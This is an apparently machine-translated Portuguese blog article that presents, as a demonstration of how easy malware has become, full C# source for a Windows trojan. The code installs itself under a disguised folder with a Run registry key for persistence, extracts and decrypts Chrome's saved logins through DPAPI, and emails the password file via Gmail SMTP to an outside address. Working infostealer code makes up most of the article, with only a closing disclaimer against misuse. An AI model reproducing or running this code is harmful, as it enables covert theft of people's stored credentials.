Vírus básico em 20 minutos ou por que você deve usar antivírus

Saudações.

Hoje em dia, o limiar para entrar no mundo da programação caiu significativamente - se antes, no início da era digital, a programação era algo fora do comum, “o destino dos eleitos”, hoje todo aluno que sabe pesquisar no Google e com confiança pode escrever um keylogger ou worm manuseando um computador. Sem nenhuma habilidade especial, você pode criar um software que pode causar muitos problemas aos usuários de PC que, por um motivo ou outro, negligenciam programas antivírus.

Under cat é um exemplo de como escrever esse malware e algumas reflexões sobre por que ele se tornou tão acessível.

Assim, para iniciantes, formalizamos - que no contexto deste artigo é considerado sob os conceitos de "vírus" e "worm". Formalmente, o conceito de "vírus" foi introduzido pela primeira vez em 1984 por Fred Cohen e parecia assim:
Definimos um 'vírus' de computador como um programa que pode 'infectar' outros programas, modificando-os para incluir uma cópia possivelmente evoluída de si mesma

Mais tarde, ele corrigiu sua própria definição, concentrando-se na capacidade de se auto-propagar - ou seja, copiar recursivamente o código do programa. Assim, em um sentido mais fundamental, o vírus foi definido como um código, cuja execução levará à gravação de uma cópia desse código na fita da máquina de Turing antes da execução, ou seja, no futuro.
Essa definição não está totalmente correta em relação aos vírus mais modernos, porque os vírus reais não precisam ser copiados recursivamente e, em geral, copiados, mas esse modelo é considerado clássico e é apropriado usá-lo para escrever um "vírus esférico no vácuo".

Além disso, em 1992, em seu artigoCohen introduziu uma definição formal de worm de computador. Uma definição formal completa pode ser encontrada na fonte, aqui só darei uma breve citação:
Recentemente, o termo "worm" tem sido amplamente utilizado para descrever programas que replicam e inicializam automaticamente a interpretação de suas réplicas.1 Por outro lado, a definição de vírus abrange todos os programas auto-replicantes, mas não aborda a maneira pela qual as réplicas podem ser acionadas. .

Essa. o motivo da execução do worm pode não ser o worm pai, mas de acordo com qualquer gatilho, por exemplo, inicialização ou timer do computador.

De fato, a classificação dos vírus é muito mais ampla, e cada vírus se enquadra em várias categorias ao mesmo tempo, mesmo os “trojans” têm mais de uma dúzia de espécies . Isso não é sobre isso.

Estamos percebendo outro vírus nesta galáxia. Eu direi imediatamente que ele não funcionará em hardware real protegido por um simples antivírus, mas demonstra claramente os princípios subjacentes à maioria dos programas de vírus.

O código completo sob o spoiler (com cuidado, existem muitos):

Título de spoiler
using System;
using System.Text;
using System.IO;
using System.Data.SQLite;
using System.Data;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Threading;

public class DPAPI
{
    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
    ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

    [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    private static extern
    bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
    IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct DATA_BLOB
    {
        public int cbData;
        public IntPtr pbData;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    internal struct CRYPTPROTECT_PROMPTSTRUCT
    {
        public int cbSize;
        public int dwPromptFlags;
        public IntPtr hwndApp;
        public string szPrompt;
    }

    static private IntPtr NullPtr = ((IntPtr)((int)(0)));

    private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
    private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

    private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
    {
        ps.cbSize = Marshal.SizeOf(
        typeof(CRYPTPROTECT_PROMPTSTRUCT));
        ps.dwPromptFlags = 0;
        ps.hwndApp = NullPtr;
        ps.szPrompt = null;
    }

    private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
    {
        // Use empty array for null parameter.
        if (data == null)
            data = new byte[0];

        // Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length);

        // Make sure that memory allocation was successful.
        if (blob.pbData == IntPtr.Zero)
            throw new Exception(
            "Unable to allocate data buffer for BLOB structure.");

        // Specify number of bytes in the BLOB.
        blob.cbData = data.Length;

        // Copy data from original source to the BLOB structure.
        Marshal.Copy(data, 0, blob.pbData, data.Length);
    }

    public enum KeyType { UserKey = 1, MachineKey };

    private static KeyType defaultKeyType = KeyType.UserKey;

    public static string Encrypt(string plainText)
    {
        return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText)
    {
        return Encrypt(keyType, plainText, String.Empty,
        String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy)
    {
        return Encrypt(keyType, plainText, entropy, String.Empty);
    }

    public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
    {
        // Make sure that parameters are valid.
        if (plainText == null) plainText = String.Empty;
        if (entropy == null) entropy = String.Empty;

        // Call encryption routine and convert returned bytes into
        // a base64-encoded value.
        return Convert.ToBase64String(
        Encrypt(keyType,
        Encoding.UTF8.GetBytes(plainText),
        Encoding.UTF8.GetBytes(entropy),
        description));
    }

    public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
    {
        // Make sure that parameters are valid.
        if (plainTextBytes == null) plainTextBytes = new byte[0];
        if (entropyBytes == null) entropyBytes = new byte[0];
        if (description == null) description = String.Empty;

        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        try
        {
            // Convert plaintext bytes into a BLOB structure.
            try
            {
                InitBLOB(plainTextBytes, ref plainTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize plaintext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // When using machine-specific key, set up machine flag.
            if (keyType == KeyType.MachineKey)
                flags |= CRYPTPROTECT_LOCAL_MACHINE;

            // Call DPAPI to encrypt data.
            bool success = CryptProtectData(ref plainTextBlob,
            description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref cipherTextBlob);
            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptProtectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold ciphertext.
            byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(cipherTextBlob.pbData,
            cipherTextBytes,
            0,
            cipherTextBlob.cbData);

            // Return the result.
            return cipherTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to encrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }

    public static string Decrypt(string cipherText)
    {
        string description;

        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, out string description)
    {
        return Decrypt(cipherText, String.Empty, out description);
    }

    public static string Decrypt(string cipherText, string entropy, out string description)
    {
        // Make sure that parameters are valid.
        if (entropy == null) entropy = String.Empty;

        return Encoding.UTF8.GetString(
        Decrypt(Convert.FromBase64String(cipherText),
        Encoding.UTF8.GetBytes(entropy),
        out description));
    }

    public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
    {
        // Create BLOBs to hold data.
        DATA_BLOB plainTextBlob = new DATA_BLOB();
        DATA_BLOB cipherTextBlob = new DATA_BLOB();
        DATA_BLOB entropyBlob = new DATA_BLOB();

        // We only need prompt structure because it is a required
        // parameter.
        CRYPTPROTECT_PROMPTSTRUCT prompt =
        new CRYPTPROTECT_PROMPTSTRUCT();
        InitPrompt(ref prompt);

        // Initialize description string.
        description = String.Empty;

        try
        {
            // Convert ciphertext bytes into a BLOB structure.
            try
            {
                InitBLOB(cipherTextBytes, ref cipherTextBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize ciphertext BLOB.", ex);
            }

            // Convert entropy bytes into a BLOB structure.
            try
            {
                InitBLOB(entropyBytes, ref entropyBlob);
            }
            catch (Exception ex)
            {
                throw new Exception(
                "Cannot initialize entropy BLOB.", ex);
            }

            // Disable any types of UI. CryptUnprotectData does not
            // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
            // supported flags so we will not set it up.
            int flags = CRYPTPROTECT_UI_FORBIDDEN;

            // Call DPAPI to decrypt data.
            bool success = CryptUnprotectData(ref cipherTextBlob,
            ref description,
            ref entropyBlob,
            IntPtr.Zero,
            ref prompt,
            flags,
            ref plainTextBlob);

            // Check the result.
            if (!success)
            {
                // If operation failed, retrieve last Win32 error.
                int errCode = Marshal.GetLastWin32Error();

                // Win32Exception will contain error message corresponding
                // to the Windows error code.
                throw new Exception(
                "CryptUnprotectData failed.", new Win32Exception(errCode));
            }

            // Allocate memory to hold plaintext.
            byte[] plainTextBytes = new byte[plainTextBlob.cbData];

            // Copy ciphertext from the BLOB to a byte array.
            Marshal.Copy(plainTextBlob.pbData,
            plainTextBytes,
            0,
            plainTextBlob.cbData);

            // Return the result.
            return plainTextBytes;
        }
        catch (Exception ex)
        {
            throw new Exception("DPAPI was unable to decrypt data.", ex);
        }
        // Free all memory allocated for BLOBs.
        finally
        {
            if (plainTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(plainTextBlob.pbData);

            if (cipherTextBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(cipherTextBlob.pbData);

            if (entropyBlob.pbData != IntPtr.Zero)
                Marshal.FreeHGlobal(entropyBlob.pbData);
        }
    }
}

public class Chrome
{

    static string filename = "passwords.html";
    static string db_way = "Login Data"; //    

    static string wayToDir = @"Screens\";
    static string wayToScreen;
    static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\";
    static void Main(string[] args)
    {
        
        Registr();
        Thread.Sleep(5 * 60 * 1000);
        Generate();
        Send();
     
    }
   
    static void Registr()
    {
        string way = Environment.GetCommandLineArgs()[0];
        try
        {
            

            if (!Directory.Exists(finalDir))
            {
                Directory.CreateDirectory(finalDir);
                foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))
                {
                   // Console.WriteLine(iter);
                    string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1];
                    //Console.WriteLine(nameOfFile);
                    File.Copy(iter, finalDir + nameOfFile, true);
                }
                Directory.CreateDirectory(finalDir + "x64");
                Directory.CreateDirectory(finalDir + "x86");
                File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll");
                File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll");


                const string name = "SoftWare";
                string ExePath = finalDir + "soft.exe";
                File.Copy(way, ExePath, true);
                RegistryKey reg;
                reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
                try
                {
                    reg.SetValue(name, ExePath);
                    reg.Close();
                }
                catch
                {   }
            }

        }
        catch
        {   }
    }
    static void Generate()
    {
        try
        {
            string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data";
            File.Copy(way_to_original, "Login Data", true);

            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);

            string db_field = "logins"; //  
            byte[] entropy = null; //    .
                                   //  DPAPI      ,
                                   //   -  ,  .
            string description; //       ,     .
                                //    
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");

            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;

                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); //        "--". 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //   
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); // 
                                                              //    
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }

            }

            Writer.Close();
        }
        catch
        {   }
    }

    static void Send()
    {
        MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords");
        MailAddress to = new MailAddress("a***********v@yandex.ru");
        MailMessage m = new MailMessage(from, to);
        m.Subject = (DateTime.Now).ToString();
        m.Body = "";
        m.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ;
        smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l");
        smtp.EnableSsl = true;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        m.Attachments.Add(new Attachment(filename));
        try
        {
            smtp.Send(m);
        }
        catch { }
    }


}


A maior parte do código para descriptografar a senha é obtida no artigo correspondente sobre o armazenamento de senhas no Chrome , que, de fato, é fácil de pesquisar no Google e de domínio público.

Tudo o que restaria para transformar este produto de software em um cavalo de Troia é adicionar a capacidade de "infectar" um computador com ele sem o conhecimento do usuário, adicionar algumas condições de disparo e ensinar a enviar informações roubadas para algum servidor remoto.
Por conseguinte, em geral, cada uma das etapas é bem rastreada. Na função Registr, o programa se copia para a pasta de serviço e entra em execução automática quando o sistema operacional é inicializado; no bloco Gerar, gera um arquivo com senhas e logins, tudo é um pouco confuso, mas a maior parte do código usado aqui é copiado de fontes abertas. O código está comentado no local, aqui não vejo motivo para repetir. E, finalmente, a função Enviar envia o arquivo de senha para o correio especificado. O código também não requer conhecimento profundo de soquetes e da pilha TCP / IP - no .NET tudo é muito bem agrupado em uma classe de alto nível para trabalhar com correio. Se necessário, você pode transferir dados para qualquer um dos protocolos, incluindo solicitações POST e servidor FTP, mas isso não precisaria aumentar o servidor - você pode usar o correio.

Como resultado, após meia hora de trabalho com o código, obtivemos um cavalo de Troia de pleno direito, o qual, é claro, é capturado por antivírus, mas se você não levar isso em conta, ele funcionará perfeitamente corretamente. E ao mesmo tempo, escrever um programa desse tipo levou muitas centenas de linhas de código. Agora levou algumas dezenas de minutos.

Isso é bom ou ruim? A questão é muito aberta, porque, por um lado, uma diminuição no nível de ingresso na profissão aumenta o afluxo de pessoal, recentemente ficou mais fácil escrever um programa de trabalho, respectivamente, houve mais programas e, em uma economia de mercado, isso é certamente bom, porque a concorrência melhora a qualidade. Por outro lado, um baixo limiar de entrada significa um grande número de funcionários de baixa e média qualificação, por causa dos quais a qualidade dos produtos de software permanece inferior à desejada, mesmo levando em conta todas as ferramentas que facilitam o trabalho do desenvolvedor - linguagens de programação modernas de alto nível, ambientes de desenvolvimento integrados, depuradores, etc. .

Bem, é claro - como existem mais produtos de software, há mais vírus. Obviamente, um usuário limpo e atencioso geralmente sabe como evitá-los - ele não segue os links das cartas e não insere drives flash não verificados. Mas o fato permanece - agora, quando todo estudante do ensino médio sabe como escrever um vírus básico - os antivírus se tornaram mais populares do que algumas décadas atrás.

O autor não recomenda a criação de software malicioso e lembra que o acesso ilegal a informações privadas é processado.

All Articles